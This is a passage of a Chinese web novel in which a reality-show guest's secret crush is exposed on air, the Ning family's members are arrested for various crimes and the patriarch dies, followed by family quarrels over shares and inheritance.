“陈与!你这是在做什么?”杜书道,“就算你觉得贺老师驳了你的面子,那也没有颠倒黑白来羞辱宁总的道理!” “别人不知道就算了,你又不是没去过宁家、不知道宁家人一直怎么说宁总的,连我这个刚跟你结婚两年的人,之前听你们家说起宁总这个宁家养子时,都觉得宁家对他的态度挺奇怪。” “一边对外散播于他名声不好的言论、一边说自家拿他当亲儿子精心养护,这摆明了就矛盾,直到前几天知道了真相,这才觉得果不其然。你不能因为觉得自己受了气就这么过分,快跟宁总道歉!” 杜书这番话,既是实话,也是想着陈与刚才那话显然会得罪宁衣初和贺适瑕,与其让人家自己来回击,不如他这个陈与的自家人先来把话说了,这样宁衣初和贺适瑕或许会觉得“好歹有个懂道理的”,就不计较了。 但出乎杜书意料的是,陈与居然对他也恶声恶气:“我道歉?杜书,该我问你是在做什么才对,你帮着外人这么不给我脸,怎么,你也被宁衣初蛊惑了?” 杜书愕然:“陈与,你……” 宁衣初轻叹了声:“杜先生很惊讶吧,毕竟陈与虽然对其他人脾气多有暴躁,但对你一直很温柔,也从来不会反驳你的话。” 杜书看向宁衣初,沉默下来。 陈与这才像是被宁衣初的话提醒回神,“冷静”下来了似的,连忙对杜书道歉:“对不起,小书,我刚才是太气了,不是想对你发火,我错了。我听你的话,不说那些难听的了,好吗?你别生我的气……” 杜书没有回答,但神色间显然有松动。 宁衣初笑了下:“陈家出了个情圣,宁愿被赶出家门也不肯接受家里安排联姻,而是想要和出身贫寒的同性恋人结婚,坚持了三年,最终说服了家里长辈接受自己的恋人,两人结婚后如胶似漆……确实是一段佳话啊。” 陈与不爽地瞪向宁衣初:“怎么,说不出我别的把柄吗,只能拿这种人尽皆知也见得人的事出来说,看来宁总你也没那么神通广大啊。” 杜书皱眉:“陈与……” 陈与声音低下去:“是他不依不饶的……” “你刚才那么冒犯,宁总有不满是理所当然,你听着就是了,何况宁总也没说难听的话,是你不依不饶。”杜书道。 陈与有点委屈似的握了握杜书的手:“小书,你怎么净帮外人说话。” 杜书无奈:“你不讲道理,我再帮亲不帮理,那我们俩以后不要做人了?抱歉啊,宁总,贺老师,陈与这个人的确毛病有点多……” 贺适瑕扯了扯嘴角:“但今天这种毛病,应该不算常事吧,杜先生不好奇你们家陈与为什么要这么帮宁家打抱不平?” 杜书愣了下。 宁衣初莞尔:“陈总这么‘敞亮’地骂我,是因为觉得反正你也没有大到像宁绍礼那样作奸犯科的黑料,其他零零碎碎的事爆出来对你也没影响,反正你是公司老板又不是明星艺人,无所谓名声好坏,也就不怕我说,对吧?” 陈与突然觉得有点不好,但他还是不信宁衣初会知道,于是表情越发坦荡起来,瞪着宁衣初:“是又怎么样?我只是因为我姑姑和宁家二姑姑有点交情,所以刚才确实忍不住想打抱不平而已,你要是想爆我黑料你就爆呗,有什么大不了的,说来说去不过就是那点鸡零狗碎罢了,我还怕你说?” 宁衣初歪了下头:“你刚才不是说我爬了贺适瑕的床,抢了宁则书的婚约吗,既然如此你为什么不感谢我呢?” 吃瓜群众们都一愣,杜书皱眉看着陈与,陈与也眉头紧皱。 然后,众人听到宁衣初接着无所谓地说:“我断了两家给贺适瑕和宁小少爷订婚的可能,不是让你有机会追求宁小少爷了吗,你怎么还不离了婚去追求心上人啊?” 陈与没想到宁衣初还真知道,表情霎时变得惊愕又慌乱,杜书作为和他亲密无间的枕边人,捕捉到了他瞬间的反应,于是骤然也明白过来宁衣初只怕说的是真的。 杜书下意识挣开了陈与的手。 陈与连忙回神,重新握住杜书,表情情真意切地郑重道:“别听他胡说!小书,我们认识五年多了,谈恋爱三年,结婚两年,我从谈恋爱第一天起就一直说想和你结婚,你不能信宁衣初的造谣诽谤!他简直是信口雌黄张嘴就来,太过分了这样挑拨我们的关系!宁小少爷今年刚满二十二,我们认识那会儿他甚至还没成年呢,我怎么可能对他动心思!” 杜书的心直往下坠,他听完了陈与的抗辩,然后愣愣地问:“……你倒是对宁小少爷的年龄记得很清楚。” 陈与焦头烂额:“不是……这个是因为,前几个月宁家才因为宁小少爷生日给他大办宴会……” “你对一场宴会都记得那么清楚,可我怎么没听你提过这场宴会的存在?”杜书看着陈与,“你刚才说,你不可能在五年多前对没成年的宁小少爷动心……陈与,你说宁总在造谣,那正常逻辑难道不该是觉得他在说你出轨吗?” 陈与脸色一僵。 杜书:“我们在一起期间你对宁小少爷动了心、但是觉得没戏所以还是继续和我在一起了……我以为正常是会这样理解的。可你为什么默认宁总是在说你五年多前就对没成年的宁小少爷动心了,为什么默认这样去辩解?” 杜书拂开陈与的手:“你说的对,我们认识五年多了,所以我知道你现在的反应意味着什么……你既然喜欢别人,一直念念不忘到现在还想要为他打抱不平,即便他根本不知道,那你为什么要跟我在一起呢?” 【哇哦,刺激,新的瓜】 【陈与这么大把柄在,居然也敢挑衅宁衣初?】 【很显然,他之前应该藏得很好,所以连这么了解他的杜书都没发现,所以他以为没有人会知道,根本没想过宁衣初知道这事】 【现在看陈与怎么收场了】 【所以说不要不信邪啊……】 【有点心疼杜书哎,好可怜哦】 【陈与五年前就对十七岁的宁则书动心?变态吧他,他五年前也有三十了吧!】 虽然杜书已经有了定论,但陈与还是没有放弃抗辩:“不!杜书,你不能这么轻信别人的三言两语,这对我不公平!这个宁衣初随口一说,什么证据都没有,你就信了,那我们过去的五年算什么?你这个时候难道不该和我同一阵线,质问宁衣初这个外人吗?” 杜书苦笑:“我不是轻信外人,我是信我对你性格的了解。” 陈与见说服不了他了,索性恶狠狠对宁衣初怒目相视:“你自己婚姻不幸福,就想破坏别人的幸福家庭是不是!你莫名其妙把宁小少爷说成我的心上人,证据呢!我要告你诽谤!” 宁衣初挑眉:“这个时候都还喊着‘宁小少爷’,舍不得直呼其名怕显得不尊重啊……杜先生,你猜陈总的‘与书传媒’,其中的‘书’字,是你杜书,还是他暗恋、不敢宣之于口的宁则书呢?” 杜书本来还没来得及想到这件事,此时被提醒了,顷刻间如遭雷劈,只觉得过往跟陈与间的情谊又淡了几分。 “当然是你啊小书!”陈与连忙道。 杜书似哭似笑地看着他:“说起来,宁家人也是这么喊宁小少爷的吧,‘小书’……你喊的是我,还是宁小少爷呢?” 事已至此,陈与气急败坏道:“杜书!你非要这么跟外人一伙来打我脸是吗!” “六年前,你三十岁,三十而立,陈家给你办了场生日宴会。”宁衣初此时,再度慢条斯理地开口,“当时宁家人带宁则书出席。你在此之前常年在国外,那次还是第一次见宁则书,就对他一见钟情了。” 陈与脸色一白。 宁衣初:“但你们之间年龄差距太大,陈家也不如宁家门第高,你知道跟宁则书之间没可能,而那之后不久你正好认识了你现在的伴侣杜书,因为一个‘书’字,加上时间上的‘缘分’,你把杜先生当成了心上人的替身,既然和心上人没可能,那就全心全意对替身好、违背家人意愿也要和他在一起。” “和杜书在一起后,你成立了‘与书传媒’,告诉杜书这是以你们俩的名字命名的公司,他很感动。然而事实上呢?” “做生意的有点看重风水之说,你找人测过这个名字,大师得知是两人的名字起的公司名,就问你要了这两个人的八字,你给出的是你自己的,还有好不容易才拿到的宁则书的八字。那个大师还活着呢……这算不算证据呢,陈总?” 宁衣初居然知道这么多细节,着实出乎陈与意料,他脸色难看地放弃抗辩了,只是问出了宁衣初这段时间听过的频率最高的那句话:“你到底是怎么知道的……” 杜书的目光彻底黯淡下去。 陈与这时已经没空注意杜书了,只觉得匪夷所思地看着宁衣初:“我暗恋宁小少爷这件事,真的从来没跟其他人说过,你是怎么……你是从那个帮我看公司名的大师口中知道的?对了,你之前爆过一个小艺人的黑料,也提到过大师,说不定大师之间认识,你是这样才发现的……不对不对,还是不对,我虽然给过八字,可没告诉过大师我是什么时候喜欢上宁小少爷的,你到底怎么会知道我对他一见钟情……” 陈与问着问着就变成了喃喃自语,杜书听不下去了。 “谢谢你,宁总,让我知道了真相。陈与,我们到此为止吧,回去就离婚,我也不耽误你追求心上人去。”杜书说完,径直走向节目组导演,“很抱歉,这个节目我录不了了,这边离岛不太方便,麻烦你们安排船送我离开好吗,对不起添麻烦了。” 导演愣愣地下意识点头:“好的,没问题,没关系……” 【导演:这种飞行嘉宾提前离开的画面我好像见过……】 【也是惨,对于杜书来说不亚于晴天霹雳吧,一直以为深爱自己的伴侣结果从一开始就把自己当成替身,曾经感动过的公司名字结果是一记恶心的铁证,这件事会被揭穿居然还是因为陈与把宁衣初当宁则书的敌人、即便和宁则书根本没交集也还是忍不住为他打抱不平,虽然是陈与自己臆想的打抱不平……】 【而且是在一起来上节目这种场合知道了真相,杜书现在还能维持体面真的很厉害了】 【事已至此,只能往好处想,得亏陈与对待替身的方式是尽可能对他好,不知道真相的几年里至少杜书没吃什么苦】 【看杜书这个性格,陈与如果不是对他好的话,他应该早就离开陈与了。正是因为陈与过去装得太好,过去有多甜蜜,如今回忆起来就有多恶心,反倒更痛苦了】 听到杜书要走,陈与才回过神,他呆呆地看着杜书的背影,就在杜书走远、消失在视野里那瞬间,陈与骤然打了个寒颤:“不,不对……我喜欢的是小书,杜书……我早就不喜欢宁则书了,我只是以为自己还喜欢,我错了……小书,你等等我,你听我跟你解释,我对你是真心的……你原谅我这一次……” 陈与一边追一边喊。 新一期飞行嘉宾抵达的第一个上午,就提前退场了两人,剩下的四人看着表情从容的宁衣初,连忙客客气气打招呼:“宁总。” “宁老师好,哈哈。” 第49章 第 49 章 宁家人接连出事,监狱“…… 这天上午宁衣初的心情很好, 唇角一直带着笑意,其他人也看出来了。 午饭时间,贺适瑕好奇了下:“阿宁, 今天这么高兴, 应该不是因为陈与他们的事?” 宁衣初轻轻拧了下眉:“陈与那事是扫兴……不过我今天确实高兴, 因为有大快人心的事要发生了,等着吧。” 直播间的观众们见状更好奇了—— 【阿宁你怎么也开始卖关子了, 不乖哦】 【开始期待了,又有大瓜吃了是不是!】 【是不是宁家人要被制裁了】 【感觉应该是, 难得看到宁衣初这么高兴, 还说是大快人心】 这天下午,网友们就知道是什么事了—— 有人带着证据报警, 称宁安春和王冕夫妇不仅聚众□□,还胁迫他人卖|淫, 受害者之中有一对双胞胎兄妹, 也是今天选择了报警的人。 警方到宁家带走了嫌疑人宁安春和王冕夫妇接受调查,被蹲守在宁家附近的狗仔拍到了警方出入的画面。 ——这对双胞胎兄妹,在原书剧情里后来也有出现,不过是以尸体的方式。 因为兄妹俩手里没有证据, 又被宁安春和王冕夫妇折磨得即便已经被“放过”了, 也还是无法回归正常生活, 所以最后选择了一起自杀来换取社会关注, 想让警方调查宁安春和王冕夫妇。 这辈子,前几天宁安春和王冕夫妇想要销毁这方面的证据, 被宁衣初安排的人“黄雀在后”截了胡,不仅把一部分证据给到了那对双胞胎兄妹、得到了对方会去报警的回应,还避免了证据被完全销毁。 想必宁安春和王冕原本以为高枕无忧了, 但没想到只要警方开始调查,就不仅有受害人手里的证据,还能从他们自己在偏僻郊外的别墅里找到留下的、没能被完全销毁的视频录像,那会是铁证。 宁家这几天本来就还处于水深火热之中,原本死要面子的一家人都没功夫在意名声好不好听了,偏偏这事儿不是他们不在意了就无所谓的,酒店行业口碑名声实在重要,康宁股价大跌后持续低迷,不少会员要求退卡,客流量也比之前少了许多。 董事会大变动,随着许家和顾家退出康宁董事会的是贺家话语权更高了。 贺维安在贺氏就够忙了,所以没有亲自露面,但丈夫唐青山在她安排下代为召开康宁董事会会议,揪着因宁家名声受损而给康宁整个企业造成的巨额亏损来问责,宁绍仁气得差点在董事会上当众说出能威胁唐青山的把柄。 只是到底还没脑子锈到那个地步,宁绍仁还没打算那么破罐子破摔,只能咬牙忍了,承诺董事会他会尽快力挽狂澜。 多事之秋,宁绍仁刚耳提面命过宁家其他人——把自己之前干过的要紧的烂事都收拾干净了之后,接下来就老老实实的,别再给宁家所剩无几的口碑添乱了——没想到宁安春和王冕就出事了,还是这种猎奇又恶心的事。 不论如何,宁安春既是宁家人,又是宁绍仁唯一一个同父同母的亲妹妹,宁绍仁只能捏着鼻子各方联系,想要靠人脉关系保一保宁安春,至于王冕这个妹夫,能保就顺带保,不行就往外扔算了。 然而一夜过去,宁绍仁意识到这次挺棘手,好像连妹妹都很难保出来了…… 宁绍仁焦头烂额之际,宁家人又又又出事了—— 宁衣初和贺适瑕在节目上的第八天上午,宁家这边再度迎来了警察,上门带走了宁绍义,作为嫌疑人配合一桩过失致人死亡案件的调查。 柳双看到儿子被带走,顾不得过去的恩恩怨怨,连忙求助宁家如今的当家人宁绍仁:“绍仁啊,不论如何绍义都是你一个爸的亲弟弟啊,你得救救他……” 宁绍仁听到“过失致人死亡”这个罪名,差点以为说的是宁绍义曾经推宁衣初摔下楼梯那件事,刚想说那么久之前的事了哪来的证据,而且宁衣初也没死啊、不就病了一段时间吗。 然后宁绍仁才脸色严峻地意识到,宁绍义这次的事恐怕没那么简单。 律师去了一趟警局,回来后告诉了宁家人来龙去脉,果不其然事情很严重—— 康宁大酒店在全国大多城市都有分店,之前宁绍义曾被派去过其中一间分店历练,那时候他过于想要证明自己,急于求成地推进项目。 项目的其中一部分包含请人来画新的壁画,宁绍义催着人赶工,还为了彰显自己并不是那么不通人情的资本家所以陪着壁画画师熬夜赶,结果就是壁画画师不仅要加班,还是要在甲方各种实时指手画脚下加班。 熬了几天没怎么睡觉,好不容易在凌晨时分完成了壁画,宁绍义又挑剔上方角落的一个细节,让画师改,画师累得够呛,就说睡一觉了再来最后收尾、届时宁绍义有什么修改意见全部一起提出来改。 宁绍义就觉得壁画画师态度轻慢了,不满地强行要求人家当即就改。当时分店的总经理为了陪“皇子”,也跟着在现场熬夜,附和着拿项目尾款做威胁,壁画画师无可奈何只能重新爬上脚手架去改。 结果宁绍义又要作,要显示自己“亲民”所以跟着一起爬到脚手架上,还说这样方便近距离抠细节、跟壁画画师交流改进意见。 但壁画高达三米,宁绍义第一次站到那么高,越看脚底下越觉得不稳,站上去没一会儿就打算下来,下来的时候不慎碰到了壁画画师,害得人家也是一晃。 本来就气血不足的壁画画师就那么意外坠落了,磕到后脑勺,还没等总经理反应过来打急救电话,画师就已经没气了。 画壁画的大厅是新扩的,还没来得及安装监控,现场只有壁画画师、宁绍义和总经理三人,还有作为“工作存档”用所以在拍摄的未联网摄像机。 总经理想要攀附“皇亲国戚”,也是觉得这件事闹开了自己也少不了麻烦,所以居然连这种事都敢帮宁绍义瞒天过海,最后包装成了壁画画师在正常工作状态下意外坠落、属于工亡。 而宁绍义主导的那个项目因为中途死了人,也就自然黄了,但别人不知内情的,说起来也只是说他给宁家造成了一点经济损失。 直到前几天,大家都在给自己的烂事擦屁股,宁绍义想起宁衣初曾经拿这个项目的事说过他,担心宁衣初其实知道完整的真相,于是特意跑了趟外地去找了那个分店总经理,确定对方没告诉过别人这件事、当初也把摄像机视频删除彻底了,才放心地回来。 然而事实上,那个总经理留了一手,既是想着或许以后能用得上、可以捞到好处,也是想着怕万一东窗事发,到时候宁绍义要是把黑锅推给他可怎么办,还是留着视频比较可靠。 所以当着宁绍义的面删除了摄像机里的视频后,回头总经理就在自己家靠早年做项目学到的技术,把没有被覆盖的视频片段恢复了,然后一直保存在随身移动硬盘里。 宁衣初提前安排过去的人意外“捡”到了那个硬盘,为了寻找失主所以插上电脑看了看,发现了其中的视频,于是作为热心市民送去了警局。 分店总经理被捕,证据在前,他当然不会再帮宁绍义掩瞒。 ——时间太短,案情还未公开,网友们倒不知道那么多具体的情况,只知道昨天下午宁家有人被抓,今天上午宁家又有人被抓、而且似乎情况更严重。 就在网友们、宁家同个圈子里的人们议论纷纷,宁家人更加昏头转向之际,同天下午,宁安夏的夏至娱乐也出事了。 夏至娱乐公司高层经理涉嫌贪污受贿、违法欺凌旗下签约艺人,经理被抓捕,公司账务也被立案调查,老板宁安夏涉嫌包庇和相应经济犯罪,再度被警方带走。 柳双的一儿一女在一天之内接连出事,刚听律师说完宁绍义的糟心事,女儿就被带走了。她毕竟也六十四岁年纪不小了,受此刺激直接晕了过去,宁家人又是一通手忙脚乱地送医。 宁安秋看着这些突发状况,惶惶地反应过来:“只能是宁衣初干的,他早就想报复我们了,一直按兵不动,现在突然发难……我们前几天是不是不该‘善后’?这是不是反给了宁衣初抓我们把柄的机会?” 宁家所剩无几的人都表情严峻。 宁安秋格外害怕:“糟了,宁衣初之前也特意点过我慈善基金的事……” 一语成谶。 第二天上午,宁安秋就步了她哥哥姐姐们的后尘,因为慈善基金的账务问题涉嫌的经济犯罪,被警方带走了。 宁安冬今年才毕业,之前还没涉及家里的生意或者自己“创业”,在当二世祖方面也还没有太作奸犯科的事,但见状仍然慌张不已,因为她突然想起来之前帮宁安秋一个慈善项目担保签过字! 当时宁安冬没放在心上,反正就算宁安秋的慈善基金有资金漏洞,也有家里帮着填补亏空,她签个字而已不影响什么。但如今宁安冬怕死了,生怕自己也是犯罪。 于是她连忙离开宁家,去找了她那已经被赶出宁家的生母于涟涟。 于涟涟早年全靠宁家养着,自打被赶出宁家,前几天儿子宁绍礼被抓了之后,她也无所适从得很,现在小女儿找来,于涟涟才知道自己另一个女儿也出了事,比宁安冬更慌张。 就在于涟涟和宁安冬母女俩一起惊惶时,宁家那边,宁老爷子现任妻子陆溪来到了瘫痪在床的宁老爷子身边。 “老爷子你很奇怪吧,怎么这几天全家的不孝子都没影了,都不来给你问安?”陆溪带着报复心理,把宁家“群英荟萃”的变动告诉了宁老爷子。 宁老爷子听得激动难当,偏偏不止动不了,连话都说不完整,一气之下猛地昏了过去。 陆溪还以为他是晕倒了呢,没在意就离开了,护工紧接着进来一看,发现旁边检测仪器上的指标不对,才连忙送医。 宁老爷子因为脑出血,在医院抢救了一整晚。 外界不知具体情况,只是感慨,这几天宁家都快成警察和医生来往的任务点了…… 凌晨时分,宁老爷子因抢救无效,宣布死亡。 还能在外活动、闻讯而来的宁绍仁一家四口,宁安冬和跟着宁安冬来的于涟涟,听到医生宣布死讯,都愣在了原地。 陆溪趁着他们还没反应过来,连忙回宁家开始翻找,想要找到她一直盼着的那个藏品,但一无所获。 这天,是宁衣初和贺适瑕在节目上的第十天,宁衣初起床后看手机,才知道了宁老爷子几个小时前离世的消息。 他眨了眨眼。 虽然知道宁老爷子的身体没那么硬朗、不如贺英老太太那么经得起刺激,但这么快人就没了,宁衣初还是有点意外的,主要是比较遗憾宁老爷子还没看到他大儿子一家的下场。 “阿宁?”贺适瑕轻唤了宁衣初一声,见他看着手机发呆,便关心道,“有什么事情吗?” 宁衣初回过神,唇角轻扬:“一大清早就看到个好消息。我小时候被宁家人第一次罚跪,就是宁老爷子吩咐的,现在他死了。” 骤然听到人的死讯,本来是该意外的,但鉴于前面几天已经听多了宁家“豪杰并起”的事迹,此时贺适瑕只有一个问题:“嗯……被子孙们气死的?” 宁衣初耸了耸肩:“除此之外好像也没什么能让他老人家脑出血的事了吧。也不知道老爷子葬礼什么时候,宁家人会不会邀请我参加呢?” 贺适瑕忍俊不禁:“走吧,去吃早饭。” 今天第三期的飞行嘉宾要走,第四期的飞行嘉宾抵达。 对此,节目组是有些忐忑的,生怕飞行嘉宾提前退出、节目组一边录制一边紧急改策划的状况再度发生。 但幸好的是,这次来的几个飞行嘉宾都十分和气,没有谁再莫名其妙非要挑衅宁衣初。宁衣初在没人招他惹他的情况下也都挺好相处的,任世和秦暮云作证。 荒岛这边节目录制仍然顺利,A市宁家仍然是一地鸡毛。 宁绍仁还是希望老爷子能安安静静走的,所以葬礼当然没有通知宁衣初。而且考虑到宁家最近又忙又乱,宁衣初那边又没几天就要录完节目了,宁绍仁真怕了他到时候不请自来,于是干脆一切从简,在老爷子宣布死亡后第二天就办起了葬礼。 出席家属有暂时没事的宁绍仁、韩文华、宁则棋和宁则书,还有接受调查后可以暂时取保候审的宁安夏、宁安秋,以及因为签了担保所以已经被警方叫去配合调查过一次、心态越发崩溃的宁安冬。 除此之外的人,要么在看守所里,要么就是直接了当地不想出席。比如虽然住在宁家但早就离了婚、现在儿女都出了事实在没心情看宁老爷子死相的柳双,比如宁老爷子生前的最后一任妻子陆溪,以及陆溪的四岁小儿子宁绍智。 虽然宁绍智年纪小,带着一起难免添乱,但毕竟是宁老爷子的亲儿子,宁绍仁原本是想让他一起出席葬礼的,但宁绍智看妈妈不出门,也哭着喊着不愿意出门,宁绍仁只能放任他留在家里。 葬礼结束后,律师当天来到宁家,确认需要到齐、能到齐的人都在场后,宣布了宁老爷子的遗嘱。 宁老爷子的资产其实在生前都已经基本分配出去了,如今要再分配的东西不多,所剩大多都给了小儿子宁绍智。 因为确实没多少,又说了在宁绍智成年之前归宁绍仁代管,所以宁绍仁没提出意见,其他人官司在身也懒得纠缠这点零星的分配,律师很快就把遗嘱宣读完了。 只有陆溪皱着眉追问:“那个藏品呢?老头子答应给我的藏品呢!” 律师抱歉地表示:“宁老先生生前拟定遗嘱时曾提过,如果陆女士问起,就告诉您,那个藏品很遗憾,宁老先生早年就把它遗失在出游的游艇上了,找不到了。” 陆溪的脸色顿时难看得仿佛动了杀心。 于涟涟始终觉得自己是被陆溪抢了位子,此时忍不住讥讽:“哟,竹篮打水一场空咯。” 陆溪对她怒目相视,然后冷笑:“呵,怎么宁家出事了,你这个被赶出去的人倒还光明正大回来了,要我说你这肚量还是该跟文华学学,你跟绍仁有绍礼那么大个儿子,她现在居然还能容忍你回来,多大气!” 前两天宁安秋出事后,宁安冬去找了亲妈于涟涟,然后宁安冬收到宁老爷子进医院抢救的消息时,正好也和于涟涟在一起,两人没多想就一起去了医院,此后于涟涟就跟着宁安冬回了宁家。 在此之前实在是一堆事攒着麻烦,别说韩文华了,连宁绍仁自己都没想起来这于涟涟和他还有个要蹲监狱的私生子。 直到这时被提醒了,韩文华和宁绍仁才想起来了。 然后韩文华就炸了:“贱人!你居然还好意思坐在这里听老爷子的遗嘱!宁绍仁你什么意思!想和这个贱人继续偷情是不是!你居然让她回宁家!” 宁绍仁连忙道:“别内讧别内讧,我们家现在真经不起了,这于涟涟就是趁乱回来的,关我什么事啊!秋秋,冬冬,赶紧把你们这妈带走!不许再把她带到宁家!除非你们也想滚出宁家!” 于涟涟这时破罐子破摔,一边被宁安秋和宁安冬揽着往外走,一边回头冲宁绍仁喊,故意恶心宁绍仁和韩文华:“绍仁啊,绍礼毕竟是你亲儿子,你现在救不了他我不怪你,但等他出来了你可得管他啊,你是他亲爸,可不能厚此薄彼,看你对则棋和小书多好啊——” 韩文华确实被恶心坏了,和宁绍仁大吵了一架,宁则棋和宁则书从旁看着,也有些心力交瘁,连演都懒得演一下,也没上去阻拦父母争吵甚至动手打起来。 陆溪在这期间阴沉着脸回了房间,将想要跟进来的儿子宁绍智关在了门外。 韩文华和宁绍仁争执着,突然定了主意:“离婚!我必须跟你离婚!” 宁绍仁冷笑:“你就是看宁家现在出事了,想要赶紧走!你走得掉吗你!这些事要是都是宁衣初干的,你觉得他会放过你?我们一家子现在都还好好的,你猜是因为我们没有把柄供宁衣初用,还是他想把我们留到最后,让我们更煎熬?!” 韩文华咬牙切齿,却没再说话。 宁则棋这时开了口,再度说起不止一次有过的提议:“解除和宁衣初的收养关系吧,他不再是我们宁家人了,没了这层身份膈应,兴许也就对报复宁家没那么大兴趣了。” 韩文华觉得宁则棋这逻辑莫名其妙:“则棋,你是被家里这些事弄坏脑子了,怎么会说出这种话?如今要是让宁衣初彻底摆脱了宁家人身份,那我们才是半点都拿捏不了他了!” 宁绍仁附和:“就是,事到如今更不能解除和宁衣初的收养关系了,也就剩这点法律关系或许还能用上了。” 宁则棋不能理解:“你们为什么会觉得这层关系能拿捏他?不过是膈应他罢了,他还能因为觉得膈应就服软?你们到底为什么非要留着他?” 宁则书坐在一旁,此时插了句话:“那大哥呢,为什么非要让小初彻底不是宁家人?” 闻言,宁绍仁和韩文华也看着宁则棋。 宁则棋镇定道:“不喜欢他,所以想赶他走,比爸妈非要留着他的做法正常多了吧?” 宁绍仁和韩文华还是不解释。 过了会儿,宁绍仁突然说:“我打算把宁家压在董事会的那百分之五股份给宁衣初。” 宁则棋和宁则书闻言都愣了愣。 “反正那百分之五的股份,只有宁家和贺家联姻才能拿回来,给到联姻的宁家人,除此之外除非董事会集体松口,不然本来也拿不回来。”宁绍仁说道,“如今宁家和贺家以后再联姻,可能性也不大了,倒不如给宁衣初,好歹这部分股份不归董事会集体管理了,董事会想要再对我施压,份量也能轻点。” 虽然是收养的,但宁衣初的确从法律关系上来说是宁家人,而且他的确和贺家人结婚了,所以如果宁家想要跟董事会要回那百分之五康宁的股份的话,是师出有名的。 但这部分股份只能给宁衣初,所以宁家人此前宁愿当没有这件事。宁衣初在成年之际就签了协议,也不能主动索要宁家的财产,所以这件事他插不了手。 宁家自己都不要,康宁董事会当然乐得那百分之五的股份继续压着,当然也就不提。 但如果宁家要的话,如今也确实还要得回来。 听了宁绍仁的安排,宁则书在宁则棋之前开口,质疑道:“股份给了小初,小初就成为了董事会的一员,施压起来不是应该更有针对性吗,份量怎么会变轻?” 宁绍仁坚持道:“他有了宁家的股份,康宁的发展就和他利益切身相关,他再针对宁家的时候,当然要投鼠忌器。何况,宁家最开始名声跌落,就是因为过去对宁衣初的态度被曝光了,那我们如今若是给他股份,在那些多管闲事的神经病眼里我们就是‘悔改’了、要对宁衣初好了,这样有利于挽回我们宁家的口碑……康宁不能再这么亏损下去了。” 宁则书摇了摇头:“我不觉得能这么乐观。那可是百分之五的股份,给了可就要不回来了,小初手里现在有百分之十三的贺氏股份,真的会因为百分之五的康宁股份就对宁家投鼠忌器?说不定他拿到了股份会当成玩具,反正他不缺这点。” 宁绍仁和韩文华都脸色沉重。 宁则棋再度开口:“我还是那句话,无法理解你们为什么非要留下宁衣初,宁愿给他股份都不让他走。” 韩文华不满道:“走走走!你一直在说解除收养关系,这话是宁衣初说的吗?他要的是解除收养关系吗?解除了他就以后消停了?同样的话怎么跟你说多少遍你都记不住呢!你今年也老大不小了,能不能像小书一样说话做事稳重点,别光想着刺激你爸妈我们?” 宁则棋扯了扯嘴角。 宁绍仁也忍不住数落:“则棋,本来家里是想让你和许家联姻订婚的,可你之前偏偏消极怠工,要不是你拖拖拉拉不上心,我们家早和许家成了板上钉钉的亲家,他们如今怎么会把股份卖给贺维安?我们家这会儿,也不至于在圈子里这么举目无亲。我一直希望你成为我的继承人,但你总是在让我失望,都是说劝阻的话,但你弟弟小书说话就比你中听多了!” 说完这番话,刚才还在争执不休甚至提及离婚的韩文华和宁绍仁就一起走了。 留下宁则棋和宁则书兄弟俩在大厅里。 宁则棋突然笑了下:“我之前也想不明白,你到底为什么要上节目,那么配合小初想要的效果,一副打算在所有人面前都不装了的样子,但下了节目后还是选择继续伪装,现在明白了。” 宁则书笑眯眯地问:“大哥明白什么了?” “你想要宁家。”宁则棋说,“倒是我小瞧了你的野心,一直把你当成只会跟家里人卖乖争宠、心智不成熟的小屁孩。之前宁家风平浪静,你也找不到机会展露野心,但小初针对家里人发难让你意识到机会来了。” “宁家人都出事、宁家大乱,你就有机会了,反正这家里也没什么靠谱的亲情,谁也不在意谁。所以你甚至怕小初不继续折腾,特意跑到直播节目上配合他闹大,现在宁家虽然元气大伤,但对你来说总比之前连碰都碰不着康宁的局面要好,至少现在爸妈想到你了。” 宁则书也不否认:“成也萧何败也萧何,我过去卖乖争宠得太成功,但也正如你说的,他们都拿我当只需要乖乖听家里话吃饱穿暖的小屁孩,从来没打算让我接触康宁的生意,说就是怕我吃苦受累……就连宁绍义那个废物在我这个年纪都能被安排去分店历练呢。如今就很好,我只需要跟大哥你争了。” 宁则棋嘲讽道:“争?争到了一点爸妈说起继承人时对你的关注,这种我从一开始就有的东西?说白了,你还是什么实际的东西都没争到,小初倒是实打实能拿到康宁的股份了,你猜他真能就此罢手吗?我要是你,现在都没脸得意。” “小初啊……”宁则书似有若无地叹了声,“大哥,你可能不信,但我上节目去‘配合’小初,有私心,却也是真想看他给他自己出气,我是真挺喜欢他的,如果宁家以后他说了算,我其实没什么意见……” “我年少时把他当竞争者,即便他是个手下败将,我也还是怕他越过我去,但可能是争久了,如今我最不想跟他争。” 宁则棋还是目露讽刺:“是吗,我还以为你会生他的气呢,如果不是他在节目上把陈与暗念你的事说穿了,以你的心机肯定能从陈与对他的态度上察觉到陈与的心思,回头试探确定了,陈与就能成为你的辅助力之一,可惜现在陈与不可能帮你了。” “本来就没指望过的辅助,哪有什么可惜的。倒是大哥你自己的问题搞清楚了吗,你到底为什么那么想让爸妈和小初断绝关系呢?是因为你的‘高道德水平’,不允许你向法律关系上的亲弟弟示好吗?”宁则书又问。 宁则棋沉默了下,这次出乎宁则书意料的,他居然没选择否认和回避,而是说:“我本来以为,他破坏了爸妈撮合你和贺适瑕的安排,‘抢’了爸妈想给你的婚约,爸妈应该就会气到和他断绝关系了。届时他被赶出宁家,无亲无友没工作,只能被我豢养起来……倒是我太理想了。” 宁则书啧了声,有些嫌恶心似的:“因为这个,你居然亲手把小初推给贺适瑕……某种程度上来说,我真挺佩服你的,也真理解不了大哥你的脑回路。” 宁则棋无所谓道:“倒也不用你理解。不过你还别说,这些话藏久了,现在说出来还挺舒坦的。” 话题结束,两人就此不欢而散。 宁则棋走出大厅,然后拿出了手机,亮着的屏幕上显示正在录音。 看着宁则棋走出去后,宁则书也转了转手机,手机屏幕上显示正在拍摄视频,刚才他将手机反扣在膝盖上,正好拍到了宁则棋的脸。 这天是宁衣初和贺适瑕在节目上的第十一天,晚上回到住处,宁衣初查看手机,发现收到了来自宁则书的一条视频,以及来自宁则棋的一条音频。 他不由得挑了下眉,靠在洗脸台边播放起来。 视频和音频都播放完毕后,宁衣初的表情十分复杂——两方信息结合,宁衣初确定宁则书发来的视频和宁则棋发来的音频本质是同时发生的对话。 但两个人发给他之前都经过了剪辑。 宁则书把中间剪了剪,只留下了他说他不想跟宁衣初争以及那之后的部分,包括宁则棋承认他当初把宁衣初推到贺适瑕房间的原因那部分。 